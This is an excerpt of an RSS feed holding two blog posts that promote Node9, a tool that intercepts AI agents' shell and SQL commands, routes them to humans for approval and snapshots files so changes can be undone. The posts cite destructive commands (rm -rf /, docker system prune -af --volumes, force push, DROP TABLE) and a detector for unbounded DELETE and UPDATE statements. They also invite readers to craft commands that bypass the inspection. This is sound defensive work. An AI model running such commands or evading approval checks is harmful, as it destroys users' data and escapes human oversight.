  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;MAX_SNAPSHOTS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;splice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;MAX_SNAPSHOTS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;writeStack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;commitHash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why dangling commits are the right primitive
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Invisible:&lt;/strong&gt; The user's &lt;code&gt;git log&lt;/code&gt;, &lt;code&gt;git status&lt;/code&gt;, and &lt;code&gt;git diff&lt;/code&gt; are completely untouched.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Instantaneous:&lt;/strong&gt; Writing a tree object takes milliseconds regardless of repo size.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Recoverable:&lt;/strong&gt; The hash is saved to &lt;code&gt;~/.node9/snapshots.json&lt;/code&gt;. Node9 keeps a stack of the last 10 snapshots — one per AI file-writing action.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No staging area pollution:&lt;/strong&gt; The temporary &lt;code&gt;GIT_INDEX_FILE&lt;/code&gt; is created and deleted in the same operation. The user's staged changes are never touched.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When you run &lt;code&gt;node9 undo&lt;/code&gt;, it computes a diff between the dangling commit and your current working tree, shows you a unified diff of exactly what the AI changed, and upon confirmation uses &lt;code&gt;git restore --source &amp;lt;hash&amp;gt; --staged --worktree .&lt;/code&gt; to revert everything to the exact millisecond before the AI acted. Nothing is reverted until you confirm.&lt;/p&gt;

&lt;p&gt;This happens &lt;strong&gt;automatically&lt;/strong&gt;. You don't opt in. Every time Node9 allows an agent to run a file-writing tool (&lt;code&gt;write_file&lt;/code&gt;, &lt;code&gt;str_replace_based_edit&lt;/code&gt;, &lt;code&gt;Edit&lt;/code&gt;, etc.), a snapshot is taken silently in the background.&lt;/p&gt;




&lt;h2&gt;
  
  
  MCP Servers Are Covered Too
&lt;/h2&gt;

&lt;p&gt;Node9 works with Claude Code, Gemini CLI, Cursor, and any agent that supports tool hooks. But it also secures MCP servers (Model Context Protocol) the new standard Anthropic is pushing for connecting AI to external tools like Postgres, GitHub, and Google Drive.&lt;/p&gt;

&lt;p&gt;When you configure a Postgres MCP server, the &lt;code&gt;BeforeTool&lt;/code&gt; hook with &lt;code&gt;matcher: ".*"&lt;/code&gt; intercepts every tool call — including SQL queries sent through the MCP server — before they execute. Node9 has specific SQL analysis built in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;checkDangerousSql&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sql&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;norm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;+/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hasWhere&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\b&lt;/span&gt;&lt;span class="sr"&gt;where&lt;/span&gt;&lt;span class="se"&gt;\b&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;norm&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^delete&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;+from&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;\S&lt;/span&gt;&lt;span class="sr"&gt;+/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;norm&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;hasWhere&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DELETE without WHERE — full table wipe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^update&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;\S&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;+set&lt;/span&gt;&lt;span class="se"&gt;\s&lt;/span&gt;&lt;span class="sr"&gt;+/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;norm&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;hasWhere&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;UPDATE without WHERE — updates every row&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;DELETE FROM users&lt;/code&gt; with no &lt;code&gt;WHERE&lt;/code&gt; clause triggers a review popup. A &lt;code&gt;DELETE FROM users WHERE id = 42&lt;/code&gt; passes through. Same principle as the shell parser: policy based on structure, not string matching.&lt;/p&gt;




&lt;h2&gt;
  
  
  Governed Autonomy, Not a Cage
&lt;/h2&gt;

&lt;p&gt;Building Node9 taught me that the future of local AI tooling isn't about locking agents in isolated VMs where they become useless. It's about &lt;strong&gt;Governed Autonomy&lt;/strong&gt;: you provide the strategy and the final "Yes," the AI provides the speed.&lt;/p&gt;

&lt;p&gt;When Node9 blocks an action, it doesn't just crash the agent. It injects a structured message back into the LLM's context:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"SECURITY ALERT: Action blocked by user policy. Reason: Force push is destructive. Pivot to a non-destructive alternative."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The agent reads this, adjusts, and tries a safer approach. The session continues. That's the difference between a firewall and a Sudo layer.&lt;/p&gt;

&lt;p&gt;Node9 is &lt;strong&gt;100% open source (Apache-2.0)&lt;/strong&gt;. I'm actively looking for developers to red-team the AST parser. What's the most dangerous command you've seen an agent attempt and can you construct a shell command that bypasses the inspection logic?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @node9/proxy
node9 setup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; [&lt;a href="https://github.com/node9-ai/node9-proxy" rel="noopener noreferrer"&gt;https://github.com/node9-ai/node9-proxy&lt;/a&gt;]&lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>opensource</category>
      <category>ai</category>
    </item>
    <item>
      <title>Why I'm Afraid of My AI Agents (and Why You Should Be Too)</title>
      <dc:creator>Node9</dc:creator>
      <pubDate>Wed, 18 Mar 2026 15:42:49 +0000</pubDate>
      <link>https://dev.to/node9_ai/why-im-afraid-of-my-ai-agents-and-why-you-should-be-too-g8g</link>
      <guid>https://dev.to/node9_ai/why-im-afraid-of-my-ai-agents-and-why-you-should-be-too-g8g</guid>
      <description>&lt;p&gt;Giving AI a "Sudo" prompt—the missing piece of the Agentic Era.&lt;/p&gt;




&lt;h3&gt;
  
  
  The Terminal Anxiety
&lt;/h3&gt;

&lt;p&gt;A few weeks ago, I sat in front of my terminal, watching a high-performance AI agent analyze my local environment. I had asked it a simple question: &lt;em&gt;"My disk space is low, can you help me clean up this project?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Within seconds, the agent proposed a command:&lt;br&gt;
&lt;code&gt;docker system prune -af --volumes&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;My heart skipped a beat. If I hadn't been staring at the screen at that exact millisecond, years of local development volumes, databases, and cached images would have vanished. &lt;/p&gt;

&lt;p&gt;The AI wasn't malicious. It was being literal. It did exactly what I asked. But it lacked the "common sense" to know that a "clean up" shouldn't include a nuclear strike on my local infrastructure. &lt;/p&gt;

&lt;p&gt;That was the moment I realized: &lt;strong&gt;We are giving AI agents the keys to our kingdoms, but we haven't given them a seatbelt.&lt;/strong&gt;&lt;/p&gt;


&lt;h3&gt;
  
  
  The Problem: Execution is the New Frontier
&lt;/h3&gt;

&lt;p&gt;We've spent the last year worrying about "Prompt Injection"—the fear that an AI might say something bad. But we are entering the &lt;strong&gt;Agentic Era.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In this era, AI doesn't just talk; it acts. It writes code, manages databases, executes shell commands, and interacts with MCP (Model Context Protocol) servers. When an agent has the power to run &lt;code&gt;rm -rf&lt;/code&gt;, &lt;code&gt;git push --force&lt;/code&gt;, or &lt;code&gt;DROP TABLE&lt;/code&gt;, "Semantic Security" (filtering words) is no longer enough.&lt;/p&gt;

&lt;p&gt;We need &lt;strong&gt;Execution Security.&lt;/strong&gt; We need a way to govern the action at the very moment it hits the system.&lt;/p&gt;
&lt;h3&gt;
  
  
  A "Sudo", but an AI has "Root"?
&lt;/h3&gt;

&lt;p&gt;In the Linux world, we don't let humans run dangerous commands without &lt;code&gt;sudo&lt;/code&gt;. It's a moment of friction that forces a human to think. Yet, we often give AI agents unrestricted access to our shells. We trust a hallucination-prone model with permissions we wouldn't give to a junior developer on their first day. &lt;/p&gt;

&lt;p&gt;This is why I built &lt;strong&gt;Node9&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Node9 Architecture: Governance for the Agentic Era
&lt;/h2&gt;

&lt;p&gt;Node9 isn't just a regex firewall; it's a deterministic execution wrapper that encases your AI agent. Whether you are running Claude Code in the terminal or building a custom Python agent, here is how Node9 changes the game:&lt;/p&gt;
&lt;h3&gt;
  
  
  1. The Multi-Channel Race Engine
&lt;/h3&gt;

&lt;p&gt;Friction is the enemy of productivity. If an agent asks for permission via a text prompt every 5 seconds, you'll eventually start typing "Y" without looking. This is "Prompt Fatigue."&lt;/p&gt;

&lt;p&gt;Node9 solves this with a &lt;strong&gt;Concurrent Race Engine&lt;/strong&gt;. When a high-risk action is detected, Node9 suspends execution and fires an approval request across all channels simultaneously:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Native OS Popups:&lt;/strong&gt; A sub-second system dialog (Mac/Win/Linux) for instant approval.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Slack:&lt;/strong&gt; Remote approval for teams. You can authorize a deployment from your phone while getting coffee.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Browser Dashboard:&lt;/strong&gt; A local web UI for deep-diving into large SQL queries or code diffs.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Terminal:&lt;/strong&gt; The classic &lt;code&gt;[Y/n]&lt;/code&gt; prompt for headless SSH sessions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first human to respond wins and instantly aborts the other requests.&lt;/p&gt;
&lt;h3&gt;
  
  
  2. The AI Negotiation Loop (The Brain)
&lt;/h3&gt;

&lt;p&gt;Most security tools simply "kill" a process when a rule is triggered. This breaks the AI's train of thought and causes it to crash or loop. &lt;/p&gt;

&lt;p&gt;Node9 talks back. When an action is blocked, Node9 injects a structured feedback prompt directly into the AI's context window:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;SECURITY ALERT:&lt;/strong&gt; The command &lt;code&gt;rm -rf /&lt;/code&gt; was blocked. &lt;br&gt;
&lt;strong&gt;Reason:&lt;/strong&gt; Destructive command detected. &lt;br&gt;
&lt;strong&gt;Instructions:&lt;/strong&gt; Pivot to a non-destructive cleanup alternative.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The AI understands why it was stopped, apologizes, and adapts its strategy in real-time.&lt;/p&gt;
&lt;h3&gt;
  
  
  3. Shadow Git Snapshots (The "Undo" Engine)
&lt;/h3&gt;

&lt;p&gt;AI hallucinations are inevitable. Sometimes an agent "scrambles" your code during a refactor or deletes a &lt;code&gt;.env&lt;/code&gt; file it thought was trash. &lt;/p&gt;

&lt;p&gt;Node9 takes silent, lightweight Git snapshots immediately before any AI file edit. (Note for the Git purists: We use hidden plumbing commands like &lt;code&gt;git commit-tree&lt;/code&gt; to create dangling commits, so your actual branch history is never polluted). &lt;/p&gt;

&lt;p&gt;If the agent ruins your project, you don't have to spend hours manually reverting. Just run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node9 undo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You get a full diff preview of what the AI changed and can revert the entire session in one click. It's the "Ctrl+Z" the terminal always needed.&lt;/p&gt;
&lt;h3&gt;
  
  
  4. Universal Support (CLI &amp;amp; SDK)
&lt;/h3&gt;

&lt;p&gt;Node9 protects CLI tools natively, but we also built a lightweight Python SDK. If you are building custom LangChain or CrewAI agents, you can secure any function by simply wrapping it with the @protect decorator. It automatically pauses execution and pings the human for approval.&lt;/p&gt;


&lt;h2&gt;
  
  
  How Node9 Compares to the Field
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Cloud Sandboxes (E2B)&lt;/th&gt;
&lt;th&gt;Access (Hoop.dev)&lt;/th&gt;
&lt;th&gt;Native Prompts (Cursor/Claude)&lt;/th&gt;
&lt;th&gt;Node9&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Focus&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Isolated MicroVMs&lt;/td&gt;
&lt;td&gt;Infrastructure Login&lt;/td&gt;
&lt;td&gt;Built-in CLI Prompts&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Execution Sudo&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Strategy&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"Run it somewhere else"&lt;/td&gt;
&lt;td&gt;"Don't log in"&lt;/td&gt;
&lt;td&gt;"Ask before running"&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;"Govern the action"&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Remote / Headless&lt;/td&gt;
&lt;td&gt;Bastion-level&lt;/td&gt;
&lt;td&gt;Local Terminal Only&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Synchronous / Multi-Channel&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Governance&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (Disposable)&lt;/td&gt;
&lt;td&gt;Team-wide&lt;/td&gt;
&lt;td&gt;Solo Developer&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Team-wide (Slack + Audits)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Recovery&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Destroy the VM&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Manual&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Auto-Undo (Shadow Git)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Vs. Cloud Sandboxes (E2B):&lt;/strong&gt; Sandboxes are great for executing untrusted code in the cloud. But developers want agents working directly on their local files and databases. Node9 protects your actual machine.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Vs. Native IDE Prompts (Cursor/Claude Code):&lt;/strong&gt; Built-in prompts suffer from "Prompt Fatigue," have no centralized audit logs for compliance, and can't route approvals to a Team Lead in Slack. &lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Vs. Hoop.dev:&lt;/strong&gt; Hoop is a fantastic "Bastion" for access. But even an authorized agent can hallucinate. Node9 is the trigger guard on the gun itself.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  Building in the Open
&lt;/h2&gt;

&lt;p&gt;I've decided to make the Node9 core &lt;strong&gt;Open Source (Apache-2.0)&lt;/strong&gt;. Security in the Agentic Era belongs to the community. We are currently in Early Beta, and I'm looking for developers to help us define the "Safety Rules" for this new world.&lt;/p&gt;

&lt;p&gt;Stop fearing the execution. Start governing it.&lt;/p&gt;
&lt;h2&gt;
  
  
  🚀 Ready to secure your agents?
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/node9-ai" rel="noopener noreferrer"&gt;
        node9-ai
      &lt;/a&gt; / &lt;a href="https://github.com/node9-ai/node9-proxy" rel="noopener noreferrer"&gt;
        node9-proxy
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      The Execution Security Layer for the Agentic Era. Providing deterministic "Sudo" governance and audit logs for autonomous AI agents.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🛡️ Node9 Proxy&lt;/h1&gt;
&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;The "Sudo" Command for AI Agents.&lt;/h3&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://www.npmjs.com/package/@node9/proxy" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/8e703220e34058384292c91a62beb73c96495c535dca3e00b0542509b4ad3e56/68747470733a2f2f696d672e736869656c64732e696f2f6e706d2f762f406e6f6465392f70726f78792e737667" alt="NPM Version"&gt;&lt;/a&gt;
&lt;a href="https://opensource.org/licenses/Apache-2.0" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/a549a7a30bacba7bfceebdc207a8e86c3f2c02995a2527640dca30048fd2b64e/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d417061636865253230322e302d626c75652e737667" alt="License: Apache-2.0"&gt;&lt;/a&gt;
&lt;a href="https://huggingface.co/spaces/Node9ai/node9-security-demo" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/13709428e1cb127bc3a2db60f8dc3f1e7ae6d44fbcb67a05a5b3d267fd7ccf3a/68747470733a2f2f68756767696e67666163652e636f2f64617461736574732f68756767696e67666163652f6261646765732f7265736f6c76652f6d61696e2f6f70656e2d696e2d68662d7370616365732d736d2e737667" alt="Open in HF Spaces"&gt;&lt;/a&gt;
&lt;a href="https://node9.ai/docs" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/a232a702cc791d5cd606d8663e9a48cf335dcdebec8c1fcf9bf652836bedc3a1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f646f63732d6e6f6465392e6169253246646f63732d626c7565" alt="Documentation"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Node9&lt;/strong&gt; is the execution security layer for the Agentic Era. It encases autonomous AI Agents (Claude Code, Gemini CLI, Cursor, MCP Servers) in a deterministic security wrapper, intercepting dangerous shell commands and tool calls before they execute.&lt;/p&gt;
&lt;p&gt;While others try to &lt;em&gt;guess&lt;/em&gt; if a prompt is malicious (Semantic Security), Node9 &lt;em&gt;governs&lt;/em&gt; the actual action (Execution Security).&lt;/p&gt;
&lt;p&gt;📖 &lt;strong&gt;&lt;a href="https://node9.ai/docs" rel="nofollow noopener noreferrer"&gt;Full Documentation →&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Contents&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;


&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#-the-aha-moment" rel="noopener noreferrer"&gt;💎 The Aha Moment&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#-mcp-gateway" rel="noopener noreferrer"&gt;🌐 MCP Gateway&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#-key-features" rel="noopener noreferrer"&gt;⚡ Key Features&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#-node9-mcp-server" rel="noopener noreferrer"&gt;🤖 MCP Server&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#-try-it-live" rel="noopener noreferrer"&gt;🎮 Try it Live&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#-configuration-precedence" rel="noopener noreferrer"&gt;🔗 Config Precedence&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#-quick-start" rel="noopener noreferrer"&gt;🚀 Quick Start&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#%EF%B8%8F-custom-rules-advanced" rel="noopener noreferrer"&gt;⚙️ Custom Rules&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#%EF%B8%8F-how-protection-works" rel="noopener noreferrer"&gt;🛡️ How Protection Works&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#%EF%B8%8F-cli-reference" rel="noopener noreferrer"&gt;🖥️ CLI Reference&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#-protection-modes" rel="noopener noreferrer"&gt;🛠 Protection Modes&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/node9-ai/node9-proxy#%EF%B8%8F-roadmap" rel="noopener noreferrer"&gt;🗺️ Roadmap&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;💎 The "Aha!" Moment&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;AIs are literal.&lt;/strong&gt; When you ask an agent to "Fix my disk space," it might decide to run &lt;code&gt;docker system prune -af&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;With Node9, the interaction looks like this:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;🤖 AI attempts a "Nuke":&lt;/strong&gt; &lt;code&gt;Bash("docker system prune&lt;/code&gt;…&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/node9-ai/node9-proxy" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Quick Install:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @node9/proxy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Zero-Config Setup:&lt;/strong&gt;&lt;br&gt;
Just run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node9 init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Join the Beta:&lt;/strong&gt; &lt;a href="https://node9.ai" rel="noopener noreferrer"&gt;node9.ai&lt;/a&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>claudecod</category>
      <category>security</category>
      <category>agents</category>
    </item>
  </channel>
</rss>
